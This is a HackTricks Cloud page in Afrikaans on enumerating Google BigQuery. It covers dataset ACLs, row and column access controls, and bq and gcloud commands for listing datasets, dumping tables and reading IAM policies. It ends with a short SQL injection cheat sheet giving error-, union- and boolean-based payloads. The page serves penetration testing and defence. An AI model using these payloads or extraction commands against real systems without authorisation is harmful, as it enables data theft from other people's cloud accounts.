GCP - Bigquery Enum
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Google Cloud BigQuery is ’n volledig bestuurde, serverlose ondernemingsdata-berging, wat vermoëns bied vir analise oor petabytes van data, en hanteer groot skaal datasets doeltreffend. As ’n Platform as a Service (PaaS), bied dit gebruikers infrastruktuur en gereedskap om data bestuur te fasiliteer sonder die behoefte aan handmatige toesig.
Dit ondersteun navraag met behulp van ANSI SQL. Die hoofobjekte is datasets wat tabelle bevat wat SQL data bevat.
Enkripsie
Standaard word ’n Google-beheerde enkripsiesleutel gebruik, alhoewel dit moontlik is om ’n Kliënt-beheerde enkripsiesleutel (CMEK) te konfigureer. Dit is moontlik om die enkripsiesleutel per dataset en per tabel binne ’n dataset aan te dui.
Vervaldatum
Dit is moontlik om ’n vervaltyd in die dataset aan te dui sodat enige nuwe tabel wat in hierdie dataset geskep word, automaties verwyder sal word na die gespesifiseerde aantal dae na skep.
Eksterne Bronne
Bigquery is diep geïntegreer met ander Google-dienste. Dit is moontlik om data van emmers, pub/sub, google drive, RDS-databasisse te laai…
Dataset ACLs
Wanneer ’n dataset geskep word, ACLs word aangeheg om toegang daartoe te gee. Standaard word Eienaar regte gegee aan die gebruiker wat die dataset geskep het en dan Eienaar aan die groep projectOwners (Eienaars van die projek), Skrywer aan die groep projectWriters, en Leser aan die groep projectReaders:
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
Tabel Rye Beheer Toegang
Dit is moontlik om die rye wat ’n prinsiep toegang gaan hê tot binne ’n tabel te beheer met ry toegangbeleide. Hierdie word binne die tabel gedefinieer met DDL.
Die toegangbeleid definieer ’n filter en slegs die ooreenstemmende rye met daardie filter gaan toeganklik wees vir die aangeduide prinsiepe.
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
Kolomme Toegang Beheer
.png)
Om data toegang op kolomvlak te beperk:
- Definieer ’n taksonomie en beleidsmerke. Skep en bestuur ’n taksonomie en beleidsmerke vir jou data. https://console.cloud.google.com/bigquery/policy-tags
- Opsioneel: Ken die Data Catalog Fine-Grained Reader rol aan een of meer principals toe op een of meer van die beleidsmerke wat jy geskep het.
- Ken beleidsmerke aan jou BigQuery kolomme toe. In BigQuery, gebruik skema annotasies om ’n beleidsmerk aan elke kolom toe te ken waar jy toegang wil beperk.
- Handhaaf toegangbeheer op die taksonomie. Die handhawing van toegangbeheer veroorsaak dat die toegangbeperkings wat vir al die beleidsmerke in die taksonomie gedefinieer is, toegepas word.
- Bestuur toegang op die beleidsmerke. Gebruik Identity and Access Management (IAM) beleide om toegang tot elke beleidsmerk te beperk. Die beleid is van toepassing op elke kolom wat aan die beleidsmerk behoort.
Wanneer ’n gebruiker probeer om kolomdata tydens ’n navraag te bekom, kontroleer BigQuery die kolom beleidsmerk en sy beleid om te sien of die gebruiker gemagtig is om toegang tot die data te hê.
Tip
As opsomming, om die toegang tot sekere kolomme vir sekere gebruikers te beperk, kan jy ’n merk aan die kolom in die skema voeg en die toegang van die gebruikers tot die merk beperk deur toegangbeheer op die taksonomie van die merk af te dwing.
Om toegangbeheer op die taksonomie af te dwing, is dit nodig om die diens in te skakel:
gcloud services enable bigquerydatapolicy.googleapis.com
Dit is moontlik om die etikette van kolomme te sien met:
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
Enumerasie
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
Vir verdere inligting kan jy die blogpos nagaan: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier sal net ’n paar besonderhede gegee word.
Kommentaar:
select 1#from here it is not workingselect 1/*between those it is not working*/Maar net die aanvanklike een sal nie werk nieselect 1--from here it is not working
Kry inligting oor die omgewing soos:
- Huidige gebruiker:
select session_user() - Projek id:
select @@project_id
Concat rye:
- Alle tabelname:
string_agg(table_name, ', ')
Kry datasets, tabelle en kolom name:
- Projek en dataset naam:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- Kolom en tabel name van alle die tabelles van die datastel:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- Ander datastelle in dieselfde projek:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
SQL Injection tipes:
- Foutgebaseer - casting:
select CAST(@@project_id AS INT64) - Foutgebaseer - deling deur nul:
' OR if(1/(length((select('a')))-1)=1,true,false) OR ' - Unie-gebaseer (jy moet ALL in bigquery gebruik):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# - Boolean-gebaseer:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# - Potensiële tydgebaseer - Gebruik van openbare datasets voorbeeld:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentasie:
- Alle funksielys: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- Scripting verklarings: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Privilege Escalation & Post Exploitation
Persistensie
Verwysings
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

